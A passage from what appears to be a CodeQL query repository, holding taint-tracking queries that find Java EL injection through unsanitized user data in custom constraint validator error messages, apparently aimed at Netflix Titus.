105 | chainedCallsOnSourceStep(step1, step2) 106 | } 107 | } 108 | 109 | class HeuristicGetMessageCall extends MethodAccess { 110 | HeuristicGetMessageCall() { 111 | this.getMethod().getName().matches("get%Message") 112 | } 113 | } 114 | 115 | class ThrowingCall extends MethodAccess { 116 | CatchClause catch; 117 | 118 | ThrowingCall() { 119 | exists(Exception exception | 120 | this.getEnclosingStmt().getEnclosingStmt*() = catch.getTry().getBlock() and 121 | this.getMethod().getSourceDeclaration().getAnException() = exception and 122 | exception.getType().getAnAncestor() = catch.getACaughtType() 123 | ) 124 | } 125 | 126 | CatchClause getCatch() { 127 | result = catch 128 | } 129 | } 130 | 131 | predicate throwingCallToGetMessageStep(DataFlow::Node step1, DataFlow::Node step2) { 132 | exists(ThrowingCall throwingCall, HeuristicGetMessageCall getMessageCall | 133 | throwingCall.getCatch().getVariable().getAnAccess() = getMessageCall.getQualifier() and 134 | step1.asExpr() = throwingCall.getArgument(0) and 135 | step2.asExpr() = getMessageCall 136 | ) 137 | } 138 | 139 | class ThrowingCallTaintStep extends TaintTracking::AdditionalTaintStep { 140 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 141 | throwingCallToGetMessageStep(step1, step2) 142 | } 143 | } 144 | 145 | from ELInjectionInCustomConstraintValidatorsConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink 146 | where cfg.hasFlowPath(source, sink) 147 | select sink, source, sink, "Custom constraint error message contains unsanitized user data" 148 | -------------------------------------------------------------------------------- /query_final.ql: -------------------------------------------------------------------------------- 1 | /** 2 | * @kind path-problem 3 | */ 4 | import java 5 | import semmle.code.java.dataflow.TaintTracking 6 | import DataFlow::PathGraph 7 | 8 | /** The ConstraintValidator class */ 9 | class ConstraintValidator extends RefType { 10 | ConstraintValidator() { 11 | this.hasQualifiedName("javax.validation", "ConstraintValidator") 12 | } 13 | } 14 | 15 | /** Holds if 'override' overrides a method of the ConstraintValidator class */ 16 | predicate overridesAConstraintValidatorMethod(Method override) { 17 | exists(Method base | 18 | base.getSourceDeclaration().getDeclaringType() instanceof ConstraintValidator and 19 | override.overrides(base) 20 | ) 21 | } 22 | 23 | /** The isValid method declaration of a class extending ConstraintValidator */ 24 | class ConstraintValidatorSource extends Method { 25 | ConstraintValidatorSource() { 26 | this.getName() = "isValid" and 27 | overridesAConstraintValidatorMethod(this) 28 | } 29 | } 30 | 31 | /** ContraintValidatorContext class */ 32 | class ConstraintValidatorContext extends RefType { 33 | ConstraintValidatorContext() { 34 | this.hasQualifiedName("javax.validation", "ConstraintValidatorContext") 35 | } 36 | } 37 | 38 | /** A call to buildConstraintViolationWithTemplate on an instance of ContraintValidatorContext */ 39 | class ConstraintValidatorContextSink extends MethodAccess { 40 | ConstraintValidatorContextSink() { 41 | this.getCallee().getName() = "buildConstraintViolationWithTemplate" and 42 | this.getCallee().getDeclaringType() instanceof ConstraintValidatorContext 43 | } 44 | } 45 | 46 | /** Method declarations of getHardConstraints and getSoftContraints of the Container class */ 47 | class GetConstraints extends Method { 48 | GetConstraints() { 49 | ( 50 | this.getName() = "getHardConstraints" or 51 | this.getName() = "getSoftConstraints" 52 | ) and 53 | this.getDeclaringType().hasQualifiedName("com.netflix.titus.api.jobmanager.model.job", "Container") 54 | } 55 | } 56 | 57 | /** Calls to getHardConstraints and getSoftContraints */ 58 | class GetConstraintsCall extends MethodAccess { 59 | GetConstraintsCall() { 60 | this.getCallee() instanceof GetConstraints 61 | } 62 | } 63 | 64 | /** 65 | * Holds if there's taint propagation between a HashSetConstructor and its first agument 66 | */ 67 | predicate hashSetConstructorStep(DataFlow::Node step1, DataFlow::Node step2) { 68 | exists(ConstructorCall call | 69 | call.getConstructedType().getQualifiedName().matches("java.util.HashSet<%>") and 70 | step1.asExpr() = call.getArgument(0) and 71 | step2.asExpr() = call 72 | ) 73 | } 74 | 75 | /** A taint step for HashSet constructors */ 76 | class HashSetConstructorTaintStep extends TaintTracking::AdditionalTaintStep { 77 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 78 | hashSetConstructorStep(step1, step2) 79 | } 80 | } 81 | 82 | /** A method which propagates taint between its qualifier and its return value */ 83 | class ChainableMethod extends Method { 84 | ChainableMethod() { 85 | this instanceof GetConstraints or 86 | this.getName().regexpMatch("keySet|stream|map|collect") 87 | } 88 | } 89 | 90 | /** 91 | * Holds if there's taint propagation from our source 92 | * to the return value of a ChainableMethod called on it (recursively) 93 | */ 94 | predicate chainedCallsOnSourceStep(DataFlow::Node step1, DataFlow::Node step2) { 95 | exists(ConstraintValidatorSource origin, MethodAccess chainedCall | 96 | chainedCall.getQualifier*() = origin.getParameter(0).getAnAccess() and 97 | chainedCall.getMethod() instanceof ChainableMethod and 98 | step1.asExpr() = chainedCall.getQualifier() and 99 | step2.asExpr() = chainedCall 100 | ) 101 | } 102 | 103 | /** A taint step for chained calls on a source node */ 104 | class ChainedCallsOnSourceTaintStep extends TaintTracking::AdditionalTaintStep { 105 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 106 | chainedCallsOnSourceStep(step1, step2) 107 | } 108 | } 109 | 110 | /** 111 | * An access to an Exception message (heuristic) 112 | */ 113 | class HeuristicGetMessageCall extends MethodAccess { 114 | HeuristicGetMessageCall() { 115 | this.getMethod().getName().matches("get%Message") 116 | } 117 | } 118 | 119 | /** 120 | * A method call which throws and exception, 121 | * and that exception is caught by a certain CatchClause 122 | */ 123 | class ThrowingCall extends MethodAccess { 124 | CatchClause catch; 125 | 126 | ThrowingCall() { 127 | exists(Exception exception | 128 | this.getEnclosingStmt().getEnclosingStmt*() = catch.getTry().getBlock() and 129 | this.getMethod().getSourceDeclaration().getAnException() = exception and 130 | exception.getType().getAnAncestor() = catch.getACaughtType() 131 | ) 132 | } 133 | 134 | CatchClause getCatch() { 135 | result = catch 136 | } 137 | } 138 | 139 | /** Holds if a ThrowingCall propagates taint to a HeuristicGetMessageCall call */ 140 | predicate throwingCallToGetMessageStep(DataFlow::Node step1, DataFlow::Node step2) { 141 | exists(ThrowingCall throwingCall, HeuristicGetMessageCall getMessageCall | 142 | throwingCall.getCatch().getVariable().getAnAccess() = getMessageCall.getQualifier() and 143 | step1.asExpr() = throwingCall.getArgument(0) and 144 | step2.asExpr() = getMessageCall 145 | ) 146 | } 147 | 148 | /** 149 | * A taint step for calls which throw an Exception caught 150 | * in a catch block where the Exception message is accessed 151 | */ 152 | class ThrowingCallTaintStep extends TaintTracking::AdditionalTaintStep { 153 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 154 | throwingCallToGetMessageStep(step1, step2) 155 | } 156 | } 157 | 158 | /** A setter method for a MessageInterpolator in the ValidatorContext class */ 159 | class MessageInterpolator extends Method { 160 | MessageInterpolator() { 161 | this.getDeclaringType().hasQualifiedName("javax.validation", "ValidatorContext") and 162 | this.getName() = "messageInterpolator" 163 | } 164 | } 165 | 166 | /** A file containing test code */ 167 | class TestFile extends File { 168 | TestFile(){ 169 | this.getAbsolutePath().matches("%/test/%") 170 | } 171 | } 172 | 173 | /** A MessageInterpolator considered safe -- i.e. doesn't interpolate EL expressions */ 174 | class SafeMessageInterpolator extends RefType { 175 | SafeMessageInterpolator() { 176 | this.hasQualifiedName("org.hibernate.validator.messageinterpolation", "ParameterMessageInterpolator") 177 | } 178 | } 179 | 180 | /** A call to a method that sets a safe MessageInterpolator */ 181 | class SetSafeMessageInterpolator extends MethodAccess { 182 | SetSafeMessageInterpolator() { 183 | this.getCallee() instanceof MessageInterpolator and 184 | this.getArgument(0).getType() instanceof SafeMessageInterpolator and 185 | not this.getFile() instanceof TestFile 186 | } 187 | } 188 | 189 | class ELInjectionInCustomConstraintValidatorsConfig extends TaintTracking::Configuration { 190 | ELInjectionInCustomConstraintValidatorsConfig() { this = "ELInjectionInCustomConstraintValidatorsConfig" } 191 | 192 | override predicate isSource(DataFlow::Node source) { 193 | exists(ConstraintValidatorSource isValid | 194 | source.asParameter() = isValid.getParameter(0) 195 | ) 196 | } 197 | 198 | override predicate isSink(DataFlow::Node sink) { 199 | exists(ConstraintValidatorContextSink buildWithTemplate | 200 | sink.asExpr() = buildWithTemplate.getArgument(0) 201 | ) 202 | } 203 | 204 | override predicate hasFlowPath(DataFlow::PathNode source, DataFlow::PathNode sink) { 205 | super.hasFlowPath(source, sink) and 206 | not exists(SetSafeMessageInterpolator safe) 207 | } 208 | } 209 | 210 | from ELInjectionInCustomConstraintValidatorsConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink 211 | where cfg.hasFlowPath(source, sink) 212 | select sink, source, sink, "Custom constraint error message contains unsanitized user data" 213 | --------------------------------------------------------------------------------